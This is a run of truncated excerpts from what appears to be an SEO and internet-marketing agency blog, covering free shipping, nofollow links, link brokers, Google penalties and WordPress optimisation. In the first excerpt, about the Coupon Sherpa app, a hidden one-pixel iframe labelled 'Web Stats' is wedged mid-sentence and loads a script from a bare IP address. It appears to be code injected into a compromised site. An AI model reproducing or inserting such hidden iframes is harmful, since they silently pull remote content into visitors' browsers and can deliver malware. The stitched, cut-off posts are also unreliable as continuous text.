I’m excited to announce the launch of our first iPhone application Coupon Sherpa. a href=http://www.couponsherpa.com target=_blankCoupon Sherpa/a gives people access to hundreds of in-store coupons for many retailers. Find a coupon you want to use and then!– Web Stats — iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0/iframe !– End Web Stats — show the coupon on screen [...]
One of the most staggering statistics from the 20 internet marketing statistics I posted about a couple days ago is that 61% of online consumers are more likely to shop online with a retailer that offers free shipping than one that doesn’t.
This statistic should be a wake-up call to retailers that don’t offer any type of free shipping. Those who aren’t offering free shipping might might want to consider increasing their prices slightly so that they can offer free shipping to their shoppers.
Last week I asked my sister-in-law what she looks for when shopping online. She quickly responded, “I like to shop at places that have free shipping.”
The “invisible web” is all the web pages that search engines have not indexed. It is estimated that the invisible web is 544 times larger than the visible or indexed web.
The fact that most of the web is not indexed should be very important to internet marketers and SEO’s.
There are probably many web pages that are linking to web sites you maintain that Google has not indexed. These links could be the difference between higher rankings.
By default almost all blog platforms use the nofollow tag on comment links. This makes commenting on blogs a poor way of building links to increase search rankings.
However, over the past 6 to 12 months there has been a small movement to remove the nofollow tag on blog comments. There are over 400 blogs that have joined the No Nofollow | I Follow | DoFollow Bumpzee community.
Late last week I received an email from One Way Back Links that said they have an extra 2 million text links that they need to sell by the end of the month. That sounds like a lot of links.
I wanted to get the skinny on One Way Back Links, so I called the number in the email. I spoke with a guy named Dave who gave me the run down.
What’s the deal?
Just over a year ago One Way Back Links started creating a lot of directories filled with free articles. They now have over 1000 web sites with over 100,000 pages. They sell three different types of links on these pages:
A Google hand-edit is when a Google engineer manually goes through your web site/back links and gives you the ranking that they think you deserve.
If Google finds that your web site violates their webmaster guidelines, you’re web site will probably be penalized.
The importance of avoiding a Google hand-edit
For many web sites the only way to compete for some keywords is by ignoring Google’s webmaster guidelines and buying links. This is because the competition is doing it and it works really well.
Many businesses are in business because of their Google rankings. A penalty due to a Google hand-edit could put them out of business. Web sites that avoid being edited do well for themselves.
We like the idea of more traffic and more comments so we implemented his suggestion and now show the top five commenters of the past week in our sidebar. As our blog grows we will expand our top commenters list from five to ten.
We invite you to visit the blog often and join the conversation.
We’ve been playing around with StumbleUpon lately and have found it to be a great source for traffic. In fact Stumble Upon brought in over 1200 visitors one day last week to our How to create an animated favicon post.
Google is cracking down on link selling by going after the biggest text link broker, Text Link Ads.
Do a search for ‘text link ads’ in Google and the Text Link Ads web site shows up 43rd. There is no other explanation for a web site with a PR7 not showing up for a search on it’s own name than Google is penalizing it.
My company Kinoli handles the Internet Marketing for Petfresh, makers of the healthiest dog food on the planet. We recently redesigned the web sites for their two brands, Homestyle Select and Deli Fresh.
After launching the new Homestyle Select web site, we sent an email to a list of veterinarians encouraging them to check out the web site and fill out an online form. In return they would receive a free sample of Homestyle Select. The only way to access the free sample form was through the link provided in the email.
A few weeks after we sent the emails to our list of veterinarians our client noticed that they received a few hundred submissions for free samples in the time span of a couple hours.
A client of mine recently asked me if I thought they should write a Wikipedia article about their company.
It may seem like a good idea to have an article about your company in the largest and most popular online encyclopedia. However, like I told my client, there are a few good reasons why many companies should stay out.
I recently purchased an after-market domain from Buy Domains for a project I’m working on.
I believe that I paid much less than I should have because of the age of the domain, which goes back as far as August 2000 according to the Way Back Machine. There are still links coming into the domain that first appeared in 2002.
Having an old history to a domain name and inbound links can drastically increase the value of a domain.
Question: Should SEO professionals get 15% commission on the links they buy for their clients?
Most ad agencies and media buyers make a 15% commission on the media they purchase for their clients. This includes the placement of television commercials, radio spots, print ads, web site banner ads, billboards and more.
Ad agencies and graphic design firms also make a 15% commission on the printing of brochures, magazines, stationary and so on. This commission comes out of what the client pays to the media and printing companies.
Today I am writing about a Wordpress plugin that allows you to modify the default number of posts displayed by the Wordpress loop before it creates a new page.
By default, the number of posts displayed by the Wordpress loop before it creates a new page is the same for all pages that list multiple posts. (ie. home page, category pages, search page)
This can have a negative effect on our SEO efforts because it places less importance on our older posts by putting them a few pages deep.
Berlitz, providers of language instruction, translation and localization services is the focus of this Friday’s funny video. Let’s make that one funny video and one not-so-funny video.
Berlitz tries to use humor to sell their products and I applaud them for their effort. They did an amazing job with the ‘We are sinking!’ commercial. It is one of my all-time favorite commercials.
I received an email this morning from Best of the Web offering 25% off on new submissions and sponsorship in their directories until the end of August by using the promo code: SIZZLE25.
Best of the Web has two directories:
Best of the Web Directory
BOTW Blog Directory
This is a really good deal considering the regular price is $79.95 recurring annually or a one-time fee of $239.95.
We got a call the other day from a prospective client telling us that another interactive agency in town was claiming that they made the Crawford Group web site which we actually created a few years back.
The best solution to this problem would have been to put a signature at the bottom of the site that says ‘Website designed by Kinoli‘. This is not always possible for us because we work with a lot of creative agencies who prefer that we don’t put a link on their site back to ours. In return, many of these agencies outsource all of their web work to us.
Introduced by Google in 2005 and initially intended to prevent blog and forum comment spam, the rel=”nofolow” tag is used to instruct search engines that a link should not influence the link target’s ranking in the search engine’s index.
Most blog software like Wordpress and some forums use the “nofollow” attribute on links that readers submit.
With this post we introduce a new institution on the Virtual Marketing Blog: Funny Video Friday. We figure that after a hard week of work you deserve to watch a funny video or three.
Why is it that we import a lot of our game shows and reality TV from the United Kingdom (Who Wants To Be A Millionaire?, American Idol, The Weakest Link…) when we could be importing game shows like Human Tetris, Crazy Piranha Game and Don’t You Laugh from Japan?
This is the fifth part of my SEO for Wordpress series. Previously I wrote about title tags, header tags, filenames and meta descriptions. Today I am writing about duplicate content issues for Wordpress blogs.
What’s Wrong With Duplicate Content?
When search engine bots see duplicate content, they try to determine the original source so that they can choose which version to display in the search results. Duplicate content is often associated with content theft, spamming, splogging (example of splog: http://howtoblog.cc/?p=254) and other SEO bad practices, so it is possible that a site or pages within a site can be penalized.
Even though the meta description tag is less relevant for influencing search results than it was a few years back, it can still play an important role in bringing traffic to your site.
Most search engines put the first 190 characters of your meta description tag below the linked title of your page in their search results. If written in a compelling manner, combined with your title tag it may draw searchers into your site.
This is the third part of my series on SEO for Wordpress. The first two parts were on title tags and header tags.
Filenames Important To Search
Since the filename of a page is an important factor in search engine algorithms it is important that we name our pages appropriately.
Ideally we want the main keywords of our article separated by dashes. For example, a good name for this page would be ‘wordpress-file-names’ or ’seo-wordpress-file-names’.
This is the second part of my series on SEO for Wordpress. The first part was on title tags.
The H1 Tag
After the title tag, the H1 tag is the most valuable on-page asset in influencing the search engines.
Most Wordpress themes have the same H1 tag on every page of the site because there is one header.php file that is used for each page. In this header.php file the name of the blog is surrounded by H1 tags. That will work great for the home page, but not for every other page on the site. For all other pages, we will want to put the title of the page in the H1 tag.
When redesigning the Virtual Marketing Blog, we ran into a number of issues related to optimizing the site for search engines. One of those issues was the title tag.
The default title that come with Wordpress will likely leave a lot of your pages in Google’s supplemental results because the name of your blog appears at the beginning of each title on every page. By default the blog name appears first then some funny arrow and lastly the name of the post, archive or page. The most important information appears last.
Welcome to the newly redesigned Virtual Marketing Blog. Along with the new design, we plan on introducing some exciting new content over the next few weeks. Probably the biggest change you will notice is an increase in the number of posts showing examples of the latest internet marketing campaigns.
The purpose of these posts is both to inspire and to provide useful examples of what companies large and small are doing to promote themselves. We will also be providing lots of exclusive content sourced directly from the interactive departments of prominent advertising agencies.
Question: How do I improve my Google Image Search Rankings?
Ranking high in Google’s image search can increase your traffic considerably. This is especially true if you can rank in the top three for search results that show images above the organic search results.
